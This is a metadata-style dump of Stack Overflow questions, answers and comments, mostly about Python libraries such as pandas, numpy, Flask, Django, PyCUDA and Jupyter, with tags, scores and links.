downvote count: 4
answer count: 3

http://stackoverflow.com/q/49537600
tagged with: pandas-groupby
tagged with: pandas
tagged with: python
has comment: http://stackoverflow.com/comment/86082028
has comment: http://stackoverflow.com/comment/86084891
answer count: 0
has comment: http://stackoverflow.com/comment/86082433
type: UnansweredQuestion
has body: Rephrasing my error. I am working with a multiindex dataframe. Applying: df.groupby(level).sum() Works FINE However, applying: df.groupby(level).rank() throws me the following error: ValueError: Categorical categories must be unique Important note: I am working with 4 levels. I am grouping by using the first 3 levels. The fourth level is a vector of dates, the same for all the index levels. The error is threw only when my overall multiindex dataframe exceeds 10000 rows. Using tail(), I noticed that when it is 9990 rows, it gives me the rank... adding an additional day throws me the error. I checked the specific day, but it looks fine. I then added additional layers in the first three levels, and the scenario repeats itself. Adding additional layers means that i need to select fewer lines by index level to get the result. Anyone had this error before? I am having a very hard time understanding where it comes from.
type: Question
has title: Weird Error Pandas Groupby : works with .sum(), but throws error with .rank()
has comment: http://stackoverflow.com/comment/86084449
score: 0
tagged with: categorical-data

google-api
tags question: http://stackoverflow.com/q/49466191
tags question: http://stackoverflow.com/q/49541019
tag name: google-api
tags question: http://stackoverflow.com/q/49477007
tags question: http://stackoverflow.com/q/49480930
tags question: http://stackoverflow.com/q/49483593
type: Tag

http://stackoverflow.com/q/49595175
tagged with: image-processing
has comment: http://stackoverflow.com/comment/88209684
score: 8
upvote count: 8
linked to: http://stackoverflow.com/q/50601029
has comment: http://stackoverflow.com/comment/94787677
has comment: http://stackoverflow.com/comment/88840306
answer count: 2
downvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/67468582
has answer: http://stackoverflow.com/a/69281318
tagged with: flask
favorite count: 0
type: Question
tagged with: pycuda
has title: PyCUDA context error when using Flask
tagged with: server
has body: I am using the PyCUDA to implement the smooth_local_affine as shown here. It works well when I simply run the program on linux. But when I tried to import it under Flask context: from smooth_local_affine import smooth_local_affine from flask import Flask app = Flask(_name_) ... The following error occurs: ------------------------------------------------------------------- PyCUDA ERROR: The context stack was not empty upon module cleanup. ------------------------------------------------------------------- A context was still active when the context stack was being cleaned up. At this point in our execution, CUDA may already have been deinitialized, so there is no way we can finish cleanly. The program will be aborted now. Use Context.pop() to avoid this problem. Then I tried to add context.pop(),then another error occurs; Error in atexit._run_exitfuncs: Traceback (most recent call last): File "/home/yifang/anaconda3/envs/python3/lib/python3.6/site-packages/pycuda-2017.1-py3.6-linux-x86_64.egg/pycuda/autoinit.py", line 14, in _finish_up context.pop() pycuda._driver.LogicError: context::pop failed: invalid device context - cannot pop non-current context Anyone knows how to run PyCuda in Flask environment? Or maybe any alternative ways that I can use this smooth_local_affine feature without using PyCuda?
tagged with: python

http://stackoverflow.com/comment/86203773
score: 0
type: Comment
has text: Read the documentation. If you have a single loss, test_on_batch and train_on_batch should both return a scalar value (obviously it would be numerically different, since one is pre and the other post-training)
type: AnswerComment
comment on: http://stackoverflow.com/a/49598231

http://stackoverflow.com/comment/92510666
comment on: http://stackoverflow.com/q/49503762
score: 0
has text: @AlexandrTatarinov are you still finding a way to create a PDF with HTML which contain img?
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49449969
type: Answer
has body: You need: df['NewColumn1'] = np.where( df['d'] &gt; 1 , 100, df['NewColumn1'])
upvote count: 1
answers question: http://stackoverflow.com/q/49447392
downvote count: 0
score: 1

http://stackoverflow.com/comment/85934940
type: Comment
comment on: http://stackoverflow.com/a/49465811
score: 0
has text: Makes total sense. I will try this when I get on my computer again later and report back.
type: AnswerComment

http://stackoverflow.com/q/49479897
has body: I am using Python. Let A.shape=(n,n,M) and B.shape=(n,n) I want to do the following: AB = np.array_like(A) for m in range(M): AB[:,:,m]=A[:,:,m] @ B this code however does not seem like the most efficient way to do this?
favorite count: 0
has answer: http://stackoverflow.com/a/49479978
type: Question
type: AnsweredQuestion
score: 1
tagged with: python
tagged with: linear-algebra
accepted answer: http://stackoverflow.com/a/49480196
tagged with: numpy
linked to: http://stackoverflow.com/q/41870228
answer count: 2
has answer: http://stackoverflow.com/a/49480196
downvote count: 0
has title: Matrix multiplication of (n,n,M) and (n,n) matrix in numpy Python
has comment: http://stackoverflow.com/comment/85964008
upvote count: 1
possible better answer: http://stackoverflow.com/a/49479978

http://stackoverflow.com/comment/85948181
type: QuestionComment
score: 0
has text: @JhonatanZu try `ans = conect.login(user.strip(), password.strip())`
comment on: http://stackoverflow.com/q/49472416
type: Comment

http://stackoverflow.com/a/49458366
type: Answer
has body: There is no row with the id "SeasonStats1_dgSeason11_ctl00" But you could get the whole table with 'table' instead of the row 'tr' playerData = soup.find_all('table', {"id":"SeasonStats1_dgSeason11_ctl00"})
answers question: http://stackoverflow.com/q/49458299
score: 0

http://stackoverflow.com/comment/86191672
has text: Try: `gb = df.groupby(['id'])['value'].reset_index()`, `df =df.merge(gb, on=['id'], how='left')`
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49591867

recursion
type: Tag
tags question: http://stackoverflow.com/q/49499082
tags question: http://stackoverflow.com/q/49552912
tags question: http://stackoverflow.com/q/49538746
tags question: http://stackoverflow.com/q/49525207
tags question: http://stackoverflow.com/q/49578862
tags question: http://stackoverflow.com/q/49581417
tag name: recursion
tags question: http://stackoverflow.com/q/49526816
tags question: http://stackoverflow.com/q/49488373
tags question: http://stackoverflow.com/q/49518067
tags question: http://stackoverflow.com/q/49532489
tags question: http://stackoverflow.com/q/49514911
tags question: http://stackoverflow.com/q/49589849
tags question: http://stackoverflow.com/q/49591038

http://stackoverflow.com/comment/85944068
type: QuestionComment
comment on: http://stackoverflow.com/q/49470743
has text: @DyZ, he means the next larger in the entire list by size. For example, 30 is the next larger number than 20, 20 is the next larger number than 10, etc.
score: 1
type: Comment

http://stackoverflow.com/q/49597752
has body: consider the following commands: print (help me insert quotes after i have typed) print "help me insert parentheses after i have typed" i want these to be properly formatted, say print ("help me insert quotes after i have typed") print ("help me insert parentheses after i have typed") Is there a way to select a text and then enter parentheses without having to cut, enter parentheses and then paste it back? i use all these: Anaconda, PyCharm, Python
has answer: http://stackoverflow.com/a/49597844
tagged with: pycharm
linked to: http://stackoverflow.com/q/27152414
upvote count: 1
linked to: http://stackoverflow.com/q/15475697
downvote count: 2
answer count: 1
favorite count: 0
type: Question
tagged with: anaconda
has title: Insert parentheses or quotes after i have typed a text or string
type: UnansweredQuestion
tagged with: python
score: -1
duplicate of: http://stackoverflow.com/q/27152414

http://stackoverflow.com/comment/85956375
has text: Have you considered using version control software (like `git`) instead of filename versioning? Among other advantages, it gives a much better history of changes. Then you could name the module `foo.py` and still have a way to access all the different versions.
comment on: http://stackoverflow.com/q/49476888
type: Comment
type: QuestionComment
score: 4

http://stackoverflow.com/a/49534067
score: 0
answers question: http://stackoverflow.com/q/49533764
has body: May be modify rera as below and remove rera2: @app.route('/rera', methods=['GET', 'POST']) def rera2(): search = DataSearchForm(request.form) email = request.form["email_name"] password = request.form["password_name"] if request.method == 'POST': if search: return search_results(search) elif email and password: data = Data(email, password) db.session.add(data) db.session.commit() return render_template("rera.html") else: return render_template('rera.html', form=search)
type: Answer
has comment: http://stackoverflow.com/comment/86075415

http://stackoverflow.com/comment/86142498
has text: @Spinx no it didn't it just searched tops that way
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49566866
type: QuestionComment

http://stackoverflow.com/a/49545931
downvote count: 0
has body: If you want to count the amount of Counter rows, you can do it like this: Counter.objects.all().count() This will return the amount of rows as an int.
upvote count: 2
answers question: http://stackoverflow.com/q/49545897
type: Answer
score: 2

http://stackoverflow.com/q/49587628
has answer: http://stackoverflow.com/a/50652941
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: mnist
tagged with: python
score: 1
has comment: http://stackoverflow.com/comment/86182974
answer count: 1
downvote count: 0
upvote count: 1
has body: I know this could be a stupid question but I really can’t figure out why. Below is the code that I tried to print a single image and label with same index from train data at import matplotlib.pyplot as plt from tensorflow.examples.tutorials.mnist import input_data import tensorflow as tf mndata = input_data.read_data_sets("MNIST_data/", one_hot=True) images_train=mndata.train.images # training set labels_train=mndata.train.labels images_test=mndata.test.images # testing set labels_test=mndata.test.labels ##### Testing single image to network train_index=4 image = images_train[train_index] label = labels_train[train_index] plt.imshow(image.reshape(28,28)) plt.show() print('label',label) The image shown as one But label is [ 0. 0. 0. 0. 0. 0. 0. 0. 0. 1.]
has title: Mnist data image and label mismatch

http://stackoverflow.com/a/49546458
answers question: http://stackoverflow.com/q/49542962
upvote count: 2
score: 2
downvote count: 0
has body: Try this: text = 'introduction This is the FIRST part. ' \ 'Methodologies This is the SECOND part. ' \ 'results This is the THIRD part. ' \ import re kw = ['methodology', 'results', 'methodologies', 'introduction'] pat = re.compile(r'(%s)' % '|'.join(kw), re.IGNORECASE) sp = [x for x in re.split(pat, text) if x] dic = {k:v for k,v in zip(sp[0::2],sp[1::2])} print(dic) But this is only for your example, don't except too much, in real world documents. You haven't specified, whats about the text before "Introduction", and whats about someone mentioning "result" in plain text?
has comment: http://stackoverflow.com/comment/86149176
has comment: http://stackoverflow.com/comment/86148975
type: Answer

http://stackoverflow.com/q/49583814
upvote count: 1
has title: Getting Github Repo Filenames Using Python
tagged with: github
favorite count: 0
type: Question
tagged with: pygithub
tagged with: python
has comment: http://stackoverflow.com/comment/86176090
score: -1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49583965
has body: How do you get a list of all filenames in a Github repo using Python/PyGithub without logging into a user account? How can I use github.Github(self.login, self.password) if I only know about a user name, not his/her password?
has answer: http://stackoverflow.com/a/49583965
downvote count: 2
answer count: 1

http://stackoverflow.com/a/49464111
has body: The error indicates that somewhere (probably your template) you tried to create a URL with the name article with arguments {'id': 1, 'category': 'news'}. But the way you've defined it, you can't construct an article URL using an id, you need a hash. The URL /news/gqaBittXW9hcyO/ is not related to this error, it matched correctly.
score: 1
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/85931163
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/49464015
accepted answer of: http://stackoverflow.com/q/49464015

http://stackoverflow.com/a/49571730
has body: You can achieve it with a little change in your code. Instead of assigning the direct function from the myList[index].foo assign a lambda which will execute the myList[index].foo function inside it. You can use lambda function like this: index = 0 myDict = { "test": lambda: myList[index].foo() } myDict["test"]() index += 1 myDict["test"]()
accepted answer of: http://stackoverflow.com/q/49571515
type: Answer
answers question: http://stackoverflow.com/q/49571515
upvote count: 1
type: AcceptedAnswer
downvote count: 0
score: 1

http://stackoverflow.com/q/49547998
tagged with: sqlalchemy
accepted answer: http://stackoverflow.com/a/49548955
linked to: http://stackoverflow.com/q/13791487
has comment: http://stackoverflow.com/comment/86107209
upvote count: 4
type: AnsweredQuestion
answer count: 1
has body: I'm making a web app using Flask and SQLAlchemy. And what I want to do is to cone out the default value on web. But the output becomes None. The Column is like this. n = db.Column(db.Integer, default=0) I tried server_default='0' and server_default=text('0') as well but these outputs are also None. How can I fix this?
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/49548955
type: Question
score: 3
tagged with: python
has title: SQLAlchemy: Output of default value is None
linked to: http://stackoverflow.com/q/14002631

http://stackoverflow.com/comment/85972660
comment on: http://stackoverflow.com/q/49483593
type: Comment
type: QuestionComment
score: 0
has text: Possible duplicate of [Google Drive API 'md5Checksum' does not work on Python](https://stackoverflow.com/questions/36622133/google-drive-api-md5checksum-does-not-work-on-python)

http://stackoverflow.com/comment/86076855
has text: Ok, so how can I access to the file containing the weights and re-used another time?? And I want to know: if the weights are correctly saved is it necessary to keep the script of the training process of the autoencoder because I'm working in the same file and I don't want each time I run the script the autoencoder starts training again ??
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49534332

http://stackoverflow.com/q/49542417
has answer: http://stackoverflow.com/a/49613135
has answer: http://stackoverflow.com/a/54658547
accepted answer: http://stackoverflow.com/a/49613135
score: 79
type: AnsweredQuestion
tagged with: ipywidgets
has answer: http://stackoverflow.com/a/57169150
upvote count: 79
has title: How to get ipywidgets working in Jupyter Lab?
has answer: http://stackoverflow.com/a/64700773
downvote count: 0
has comment: http://stackoverflow.com/comment/112882400
has answer: http://stackoverflow.com/a/79159025
tagged with: jupyter
has answer: http://stackoverflow.com/a/72389499
has answer: http://stackoverflow.com/a/50001788
favorite count: 0
possible better answer: http://stackoverflow.com/a/50001788
has body: In Jupyter Notebook, ipywidgets work fine, however they seem to not work in Jupyter Lab (which is supposedly better than Notebook). I followed these directions. Step 1: Installed Node.js (https://nodejs.org/en/) Step 2: Installed requirements on Python 3 with conda: conda install -c conda-forge ipywidgets jupyter labextension install @jupyter-widgets/jupyterlab-manager Unfortunately, basic widgets do not work inside the jupyter lab notebook:
type: Question
has answer: http://stackoverflow.com/a/71602978
tagged with: jupyter-lab
has comment: http://stackoverflow.com/comment/106309643
has answer: http://stackoverflow.com/a/68440326
answer count: 12
has comment: http://stackoverflow.com/comment/106309759
tagged with: python
tagged with: ipython
linked to: http://stackoverflow.com/q/60057469
has answer: http://stackoverflow.com/a/62251306
has answer: http://stackoverflow.com/a/62509521
has answer: http://stackoverflow.com/a/60108374

http://stackoverflow.com/comment/85939978
comment on: http://stackoverflow.com/q/49465868
score: 0
type: QuestionComment
has text: Know nothing about blender sorry, but looks like adding something as `bpy.ops.object.dialog_operator('INVOKE_DEFAULT')` will do if you add and adapt the code in your plugin from the popup dialog script here https://wiki.blender.org/index.php/Dev:Py/Scripts/Cookbook/Code_snippets/Interface#A_popup_dialog
type: Comment

http://stackoverflow.com/comment/86346914
has text: Just a contribution, supposily this worked in older versions, but I didn't check if it still works (the argument `filters` accepted regular expressions): `image = fields.Binary(string="Imagen", required=True, filters='*.jpg')`
type: Comment
comment on: http://stackoverflow.com/a/49576425
type: AnswerComment
score: 1

http://stackoverflow.com/q/49513818
tagged with: python
has body: I am exploring face_recognition in python https://github.com/ageitgey/face_recognition Currently, I store the face_encoding in a string. You can see how I'ved converted in a string array so that I can save it in the database. unknown_image = face_recognition.load_image_file("biden.jpg") face_location_unknown = face_recognition.face_locations(unknown_image) unknown_encoding = face_recognition.face_encodings(unknown_image, face_location_unknown)[0] #conversion to string unknown_encoding_string = "%s" % unknown_encoding face_unknown_encoding_string = re.sub('\s+', ', ', unknown_encoding_string[1:-1]) The "face_unknown_encoding_string" is like this: "-0.127419,0.0709146,0.0794749,-0.0321613,-0.0159098,0.00918037,-0.0360131,-0.0601268,0.0995623,-0.106627,0.253107,-0.00910004,-0.236208,-0.164839,0.0281254,0.173948,-0.157076,-0.099059,-0.0318014,-0.0617558,0.0104656,-0.00391768,0.0300188,0.082264,-0.116754,-0.42047,-0.112592,-0.124656,-0.0288262,-0.0780776,-0.0982438,0.0630722,-0.158208,-0.00986074,-0.044616,0.0979513,0.00402067,-7.38486e-05,0.140721,0.0392284,-0.180724,0.011891,0.000132522,0.247319,0.166832,0.0565608,0.022775,-0.0209147,0.040387,-0.172158,0.087646,0.134213,0.0793414,0.0392115,0.00153742,-0.118472,-0.0423868,0.0155273,-0.114884,0.0150463,-0.0130648,-0.136907,-0.0396041,-0.0299826,0.192542,0.107253,-0.102995,-0.147908,0.133909,-0.149223,-0.0397335,0.046862,-0.158645,-0.165123,-0.318725,0.13189,0.36383,0.134758,-0.162269,0.0299262,-0.12019,-0.0473435,0.0974606,0.13637,-0.0189891,0.00880722,-0.0928411,0.063979,0.139967,-0.0451124,-0.0430897,0.214811,-0.0380436,0.131413,0.0137761,0.0366569,-0.0442467,0.0497605,-0.0790947,0.00948556,0.0879658,-0.0556417,0.00738802,0.0854838,-0.15242,0.0731073,0.0232722,0.00448165,0.0829161,0.0995341,-0.163955,-0.143655,0.125336,-0.239622,0.174127,0.243117,0.0262358,0.122618,0.137583,0.109123,-0.00857285,-0.074666,-0.184109,0.00498615,0.131001,0.0170561,0.0319808,0.0229446,", question is how can I convert this face_unknown_encod…
type: AnsweredQuestion
score: 2
tagged with: dlib
upvote count: 2
has comment: http://stackoverflow.com/comment/86036697
answer count: 1
has comment: http://stackoverflow.com/comment/86036500
downvote count: 0
has title: face_recognition encoding from string back to original encoding in python
favorite count: 0
tagged with: face-recognition
has comment: http://stackoverflow.com/comment/86036739
type: Question
has comment: http://stackoverflow.com/comment/86037176
accepted answer: http://stackoverflow.com/a/54584139
tagged with: encoding
has comment: http://stackoverflow.com/comment/86036549
has answer: http://stackoverflow.com/a/54584139
has comment: http://stackoverflow.com/comment/86036599

http://stackoverflow.com/comment/85909754
type: AnswerComment
has text: thanks for answering, I get an error using your code "'NoneType' object has no attribute 'latitude'"
type: Comment
comment on: http://stackoverflow.com/a/49453249
score: 0

http://stackoverflow.com/comment/86437094
type: Comment
type: AnswerComment
has text: Oh! sry for that. bad habit of using 'f' for such operations . Never mind. Edited the answer :) . Thanks for the correction.
comment on: http://stackoverflow.com/a/49581906
score: 0

http://stackoverflow.com/comment/115656779
has text: @PauloScardine was also correct, i fixed that then got to the answer i marked as correct below when that error occured
type: QuestionComment
comment on: http://stackoverflow.com/q/49440696
type: Comment
score: 0

http://stackoverflow.com/comment/86136236
has text: Why not use an HTTP library, like [requests.exceptions](http://docs.python-requests.org/en/master/_modules/requests/exceptions/), specifically [raise_for_status()](http://docs.python-requests.org/en/master/user/quickstart/#response-status-codes)?
type: Comment
comment on: http://stackoverflow.com/q/49563928
score: 1
type: QuestionComment

http://stackoverflow.com/comment/85958460
has text: Did you read the article I pointed you to? The URLs you use should be of the form `https://source.unsplash.com/collection/CCCCC/N`, where CCCCCC is the collection number and N is the number of some article. If you want to select across the whole site you will have to randomise the collection too, and take precautions not to exceed the collection size.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49477582
score: 0

http://stackoverflow.com/a/49462537
has comment: http://stackoverflow.com/comment/85928966
answers question: http://stackoverflow.com/q/49462238
has comment: http://stackoverflow.com/comment/85928985
score: 1
type: Answer
upvote count: 1
downvote count: 0
has body: Assuming order doesn't matter, you can use set(l1) ^ set(l2).

http://stackoverflow.com/a/49579742
answers question: http://stackoverflow.com/q/49579522
score: 6
accepted answer of: http://stackoverflow.com/q/49579522
type: Answer
has comment: http://stackoverflow.com/comment/86167333
has comment: http://stackoverflow.com/comment/86171405
has body: Both those PNG files are indexed. They contain the same array of data, with just the values 0 and 1 that you see, but those values are not intended to be the colors of the pixels. They are supposed to be the indices into the palette. In the first file, the palette is Index RGB Value 0 [ 0, 0, 0] 1 [255, 255, 255] and in the second file, the palette is Index RGB Value 0 [255, 255, 255] 1 [ 0, 0, 0] The problem is that when the Image object is converted to a numpy array, the palette is not used, and only the array of indices is returned. To fix this, use the convert() method of the Image object to convert the format from indexed palette to RGB colors: t = Image.open('t.png') t_rgb = t.convert(mode='RGB') arr = np.array(t_rgb)
type: AcceptedAnswer
downvote count: 0
upvote count: 6

http://stackoverflow.com/a/49548892
answers question: http://stackoverflow.com/q/49548852
type: Answer
score: 2
upvote count: 2
has body: According to their documentation, you can upload your project as zip to pythonanywhere. Have in mind that if the project is big enough you have to split it into parts. Steps Make a zip file ( split it to parts if needed) Uploaded to pythonanywhere using the Files Tab Use the bash console and the unzip command to decompress it Done More Info here
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49548852

http://stackoverflow.com/comment/86128882
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49557365
type: QuestionComment
has text: SUCCESS! User333700 your two lines of workaround code fixed it!! Thanks everyone for the inputs

http://stackoverflow.com/a/49455472
type: Answer
has body: This will work! def oddTuples(aTup): # Your Code Here tup = (); for i in range(0,len(aTup)): if i%2 == 0: tup = tup + (aTup[i],); return tup; print(oddTuples(((1), (2), (2), (23), (3), (4))))
score: 0
answers question: http://stackoverflow.com/q/49455276

http://stackoverflow.com/a/49517792
type: Answer
has comment: http://stackoverflow.com/comment/86041162
score: 0
has body: You can try to set the location for pip in $HOME/.pip/pip.conf As per PIP Docs: Configuration Config file pip allows you to set all command line option defaults in a standard ini style config file. The names and locations of the configuration files vary slightly across platforms. You may have per-user, per-virtualenv or site-wide (shared amongst all users) configuration: Per-user: On Unix the default configuration file is: $HOME/.config/pip/pip.conf which respects the XDG_CONFIG_HOME environment variable. On macOS the configuration file is $HOME/Library/Application Support/pip/pip.conf. On Windows the configuration file is %APPDATA%\pip\pip.ini. There are also a legacy per-user configuration file which is also respected, these are located at: On Unix and macOS the configuration file is: $HOME/.pip/pip.conf On Windows the configuration file is: %HOME%\pip\pip.ini You can set a custom path location for this config file using the environment variable PIP_CONFIG_FILE. Inside a virtualenv: On Unix and macOS the file is $VIRTUAL_ENV/pip.conf On Windows the file is: %VIRTUAL_ENV%\pip.ini Site-wide: On Unix the file may be located in /etc/pip.conf. Alternatively it may be in a "pip" subdirectory of any of the paths set in the environment variable XDG_CONFIG_DIRS (if it exists), for example /etc/xdg/pip/pip.conf. On macOS the file is: /Library/Application Support/pip/pip.conf On Windows XP the file is: C:\Documents and Settings\All Users\Application Data\pip\pip.ini On Windows 7 and later the file is hidden, but writeable at C:\ProgramData\pip\pip.ini Site-wide configuration is not supported on Windows Vista If multiple configuration files are found by pip then they are combined in the following order: Firstly the site-wide file is read, then The per-user file is read, and finally The virtualenv-specific file is read. Each file read overrides any values read from previous files, so if the global timeout is specified in both the site-wide file and the per-user file then the l…
answers question: http://stackoverflow.com/q/49517673
has comment: http://stackoverflow.com/comment/86041348

http://stackoverflow.com/q/49542777
has body: I'm trying to concatenate many files in a root to a single file. However I'm stuck on these problems: When I've opened each textfile in text file mode the output file shows strange characters like japanese characters. When I've opened each textfile in binary mode the output file was corrected except that I need to write a "new line" before each text file appended. I'm using Python3 and my OS is Windows 7. I've advanced to this following code: import os, shutil def concatFiles(): path = 'D:\\concat\\'; scriptFullFilename = 'scriptFull.sql' if os.path.isfile(path + scriptFullFilename): os.remove(scriptFullFilename) files = os.listdir(path); filenames = [f for f in files if f.endswith('.sql')] newLine = "\n" with open(path + scriptFullFilename, mode='wb') as outfile: for fname in filenames: with open(fname,'rb') as source: shutil.copyfileobj(source, outfile, 1024*1024*10) print('Done') if __name__ == "__main__": concatFiles();
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/86094890
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/86093411
favorite count: 0
has title: Which is the right way to concatenate files and appending "New Line" in Python? Binary mode or Text Mode?
tagged with: python-3.x
type: Question
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/49481344
tagged with: python
has answer: http://stackoverflow.com/a/49481420
score: 0
has body: I am trying to write a code to count the frequency of word occurrences in a document containing about 10000 files, but instead of getting the overall frequency, I get the word count of the last file, since it will overwrite the previous iteration. My code so far is: import csv import glob import re def main(): file_list = glob.glob(TARGET_FILES) for file in file_list: with open(file, 'r', encoding='UTF-8', errors='ignore') as f_in: doc = f_in.read() def get_data(doc): vdictionary = {} w = csv.writer(open("output1.csv", "w",newline='')) tokens = re.findall('\w+', doc) for token in tokens: if token not in vdictionary: vdictionary[token] = 1 else: vdictionary[token] += 1 for key, val in vdictionary.items(): w.writerow([key, val])
answer count: 2
has title: Count word frequency in multiple files
has answer: http://stackoverflow.com/a/49481423
upvote count: 1
has comment: http://stackoverflow.com/comment/85965632
downvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/85965597
tagged with: word-frequency
tagged with: frequency
type: UnansweredQuestion

http://stackoverflow.com/a/49501991
has comment: http://stackoverflow.com/comment/86024595
score: 1
accepted answer of: http://stackoverflow.com/q/49500637
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86024911
has comment: http://stackoverflow.com/comment/86009652
has comment: http://stackoverflow.com/comment/86018083
has comment: http://stackoverflow.com/comment/86008639
type: Answer
has comment: http://stackoverflow.com/comment/86008865
answers question: http://stackoverflow.com/q/49500637
has comment: http://stackoverflow.com/comment/86020764
has body: As long as the figure is not drawn, the divider axes do not yet know their size. Therefore their bbox is just as large as the parent bbox. The inset_axes are therefore calculated in terms of the main axes size. This is actually a more or less general rule: If you want to use .get_window_extent() on an artist, you need to make sure it has been drawn at least once prior to getting its extent. To draw the figure, plt.gcf().canvas.draw() Complete code: import matplotlib.pyplot as plt from mpl_toolkits.axes_grid1.axes_divider import make_axes_locatable from mpl_toolkits.axes_grid1.inset_locator import inset_axes base_ax = plt.subplot(111) divider = make_axes_locatable(base_ax) ax_right = divider.append_axes("right", size="20%", pad="1%") ax_bottom = divider.append_axes("bottom", size="20%", pad="1%") loc="upper left" size = 20 plt.gcf().canvas.draw() bbox = ax_right.get_window_extent() ratio = bbox.width / bbox.height inset_right_upper = inset_axes( ax_right, width=str(size / ratio) + '%', height=str(size) + '%', loc=loc) bbox = ax_bottom.get_window_extent() ratio = bbox.width / bbox.height inset_bottom_upper = inset_axes( ax_bottom, width=str(size / ratio) + '%', height=str(size) + '%', loc=loc) plt.show() producing

http://stackoverflow.com/comment/85936014
type: AnswerComment
has text: Again, a thank you despite being encouraged not to use comments for thanks, but manners matter.
comment on: http://stackoverflow.com/a/49466570
score: 1
type: Comment

http://stackoverflow.com/comment/86091629
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/49481961
has text: Thank you. This is exactly what I was looking for! If I only use one property. Should I still add the `int`s to the definition? For the enum would you prefer just to put the `url` so `enum_mem.value` and `enum_mem.url` will give the same result?

http://stackoverflow.com/comment/85969793
comment on: http://stackoverflow.com/a/49482693
type: AnswerComment
score: 1
has text: "So i currently have my data only trained to recognize cats." Then that is all it is going to do. The classification problem you really want to tackle is telling between what is a cat and what isn't. So you would have 2 classes: "Cat" and "Not cat". Everything that isn't a cat, including dogs, in your training set would be labeled as "Not cat".
type: Comment

http://stackoverflow.com/comment/86043071
comment on: http://stackoverflow.com/q/49506868
score: 0
type: QuestionComment
has text: Does enforcing these rules help you understand what the user wants? Or help the user provide the desired information in a clear and unambiguous fashion? For example, if they want `help`, should it matter where they put the `-h`?
type: Comment

http://stackoverflow.com/q/49557961
has comment: http://stackoverflow.com/comment/86125264
has answer: http://stackoverflow.com/a/49558801
tagged with: django-urls
tagged with: python
has comment: http://stackoverflow.com/comment/86124333
tagged with: forms
accepted answer: http://stackoverflow.com/a/49559200
has comment: http://stackoverflow.com/comment/86124001
has comment: http://stackoverflow.com/comment/86125806
has answer: http://stackoverflow.com/a/49559200
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86124150
answer count: 2
has title: Error from Django clickjacking middleware: Form has no attribute 'get'
has comment: http://stackoverflow.com/comment/86123873
score: 1
has body: I have a form that contains 3 fields : class AjoutBanque(forms.Form): nom=forms.CharField() agence=forms.CharField() rib=forms.IntegerField() My view : def AjoutBanq(request): if request.user.is_active : form2=AjoutBanque(request.POST) if form2.is_valid(): print("valid") clt= banque(nom=form2.cleaned_data.get('nom'),agence=form2.cleaned_data.get('agence'),rib=form2.cleaned_data.get('rib')) clt.save() return redirect('/banque/') When submiting my form it raises the error : 'AjoutBanque' object has no attribute 'get' Here is the traceback : Traceback: File "C:\Users\users MGE\AppData\Local\Programs\Python\Python36-32\lib\site- packages\django\core\handlers\base.py" in get_response 131. response = middleware_method(request, response) File "C:\Users\users MGE\AppData\Local\Programs\Python\Python36- 32\lib\site-packages\django\middleware\clickjacking.py" in process_response 32. if response.get('X-Frame-Options') is not None: Exception Type: AttributeError at /addbanque Exception Value: 'AjoutBanque' object has no attribute 'get' My URLS : url(r'^banque',views.BanqueViews.as_view(), name='banque'), //url that contains the form url(r'addbanque$',views.AjoutBanque, name='banqueajout')//url of submit button of the form. I don't know where this error came from, do you have any idea?
downvote count: 0
tagged with: django
upvote count: 1
has comment: http://stackoverflow.com/comment/86123679
has comment: http://stackoverflow.com/comment/86126833
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86126973
has comment: http://stackoverflow.com/comment/86124281
possible better answer: http://stackoverflow.com/a/49558801
has comment: http://stackoverflow.com/comment/86124836

http://stackoverflow.com/a/49587120
answers question: http://stackoverflow.com/q/49583811
score: 3
upvote count: 3
has body: You can use regular expressions to transform the numeric literals in your string into calls to Fraction. After the transformation, you can call eval on the result to get the appropriately nested list. You don't need to handle the division operations in a special way, since they will work exactly as you want if we just convert both numerator and denominator into Fraction objects (so 4/5 becomes Fraction("4")/Fraction("5"), which evaluates to Fraction(4, 5)). The transformation should put quotation marks around the numbers you pass to Fraction, as that prevents eval from parsing numbers with decimal points into float instances (which usually causes a loss of precision). Fraction can do the parsing instead, from a string, and it won't lose any precision since all finite-length decimal numbers have an exact Fraction representation. Code: import re from fractions import Fraction input_text = '[[2, 3.1], [4/5, 5/6]]' transformed_text = re.sub(r'([\d.]+)', r'Fraction("\1")', input_text) results = eval(transformed_text) print(results) # [[Fraction(2, 1), Fraction(31, 10)], [Fraction(4, 5), Fraction(5, 6)]]
type: Answer
accepted answer of: http://stackoverflow.com/q/49583811
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/93172633

http://stackoverflow.com/q/49525793
has comment: http://stackoverflow.com/comment/86081591
tagged with: subprocess
has comment: http://stackoverflow.com/comment/86080893
has answer: http://stackoverflow.com/a/49641984
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/86080822
has comment: http://stackoverflow.com/comment/86081502
has comment: http://stackoverflow.com/comment/86073213
has comment: http://stackoverflow.com/comment/86081222
type: Question
has comment: http://stackoverflow.com/comment/86075626
has comment: http://stackoverflow.com/comment/86081234
has comment: http://stackoverflow.com/comment/86076135
